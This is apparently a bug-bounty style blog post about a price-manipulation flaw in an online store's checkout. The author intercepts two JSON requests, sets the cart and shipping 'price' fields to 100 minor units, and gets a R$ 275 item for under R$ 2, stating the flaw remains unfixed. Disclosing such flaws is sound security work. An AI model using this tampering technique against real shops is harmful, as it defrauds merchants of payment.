Back to Blog
5 min read

Parameter tampering result in product price manipulation

Simple parameter tampering let me change the cost of ANY product.

Parameter tampering Vulnerability

How I discovered a critical price manipulation on ecommerce checkout.

It started when I was testing the checkout of a small online store. While reviewing the requests, i noticed something odd during the purchase process: the platform relied heavily on data sent directly from the client-side, including the product price.

Discovery

Using Burp Suite (again) to intercept the traffic, i observed that when a user proceeded to checkout using PIX Payment, the site generated a POST request to the payment processor’s API. Inside this request, there was a JSON object containing cart details.

/api/checkout/customers

Here's what the request looked like:

{
  "product": "",
  "customer": {
    "name": "",
    "hash": "",
    "email": "",
    "phone_number": "",
    "zip_code": "",
    "street_name": "",
    "number": "",
    "complement": "",
    "neighborhood": "",
    "city": "",
    "state": "",
    "cpf": "",
    "document": ""
  },
  "cart": [
    {
      "cartvar": "",
      "id": 000,
      "store_id": 000,
      "hash": "",
      "variation_id": 000,
      "shopify_product_id": 000,
      "shopify_variation_id": 000,
      "woocommerce_product_id": null,
      "woocommerce_variation_id": 0,
      "custom_options": [],
      "sku": null,
      "product_hash": "",
      "product_id": 000,
      "title": "",
      "variation_title": "Default Title",
      "cover": "",
      "price": 27500,
      "offer_price": null,
      "quantity": 1,
      "operation_type": 1
    }
  ],
  "tracking": {
    "src": "",
    "utm_source": "",
    "utm_medium": "",
    "utm_campaign": "",
    "utm_term": "",
    "utm_content": ""
  },
  "url": "",
  "coupon": ""
}

The customer object contains all the client’s personal information! Such as: name, tax ID, address, etc.

The cart object is the most important one. Inside it, we have the product ID, the product title, the store ID, and most important: the product’s price!

The value is stored as an integer in minor units, meaning:

27500 = R$ 275,00

1500 = R$ 15,00

In my case, I changed the price field to 100, which represents R$ 1,00, and sent the request.

After sending it, they returned another request. This time to a different endpoint:

/api/requestPayment

Here's what the request looked like:

{
  "customer_hash": "000",
  "coupon": { "id": null },
  "card": {
    "attempt_reference": "",
    "card_number": "",
    "cvv": "",
    "token": ""
  },
  "gateway": {
    "payment_method": "pix",
    "gateway_id": 4136,
    "gateway_name": "App Max",
    "gateway_platform": "appmax",
    "retry_enable": 1,
    "free_installments": 6,
    "custom_interest": 2.99
  },
  "store": {
    "account_id": 000,
    "hash": ""
  },
  "cart": [
    {
      "cartvar": "",
      "id": 000,
      "store_id": 000,
      "hash": "",
      "variation_id": 000,
      "shopify_product_id": 000,
      "shopify_variation_id": 000,
      "product_hash": "",
      "product_id": ,
      "title": "",
      "variation_title": "Default Title",
      "cover": "",
      "price": 27500,
      "quantity": 1,
      "operation_type": 1
    }
  ],
  "customer": {
    "name": "",
    "hash": "",
    "email": "",
    "phone_number": "",
    "zip_code": "",
    "street_name": "",
    "number": "",
    "neighborhood": "",
    "city": "",
    "state": "",
    "cpf": "",
    "document": ""
  },
  "payment_method": 3,
  "installments": 1,
  "paymentData": {
    "card_number": "",
    "card_holdername": "",
    "card_expiration": "",
    "card_cvv": ""
  },
  "tracking": {
    "src": "",
    "utm_source": "",
    "utm_medium": "",
    "campaign": "",
    "utm_term": "",
    "utm_content": ""
  },
  "shipping": {
    "id": 1,
    "hash": 1,
    "title": "PAC",
    "name": "PAC",
    "description": "PAC",
    "price": 2609,
    "delivery_time": 6,
    "shipping_force": true,
    "status": 1,
    "integration_id": 3133,
    "external": true
  },
  "last_transaction_hash_retry": "",
  "custom_form_options": [],
  "device_id": "",
  "antifraud": null,
  "subscription": [],
  "dfp_id": 0000
}

This request includes much more detailed information, such as:

device_id antifraud shipping gateway payment_method

This time we will modify the price parameter inside the 'shipping' object and the 'price' parameter inside the 'cart' object. In my case, I set both of them to 100. After that, the website redirected me to the payment QR code page, where it gave me a final price of R$ 1.94, including a R$ 0.06 discount for using the PIX payment gateway.

QR CODE

Note: The vulnerability is NOT fixed.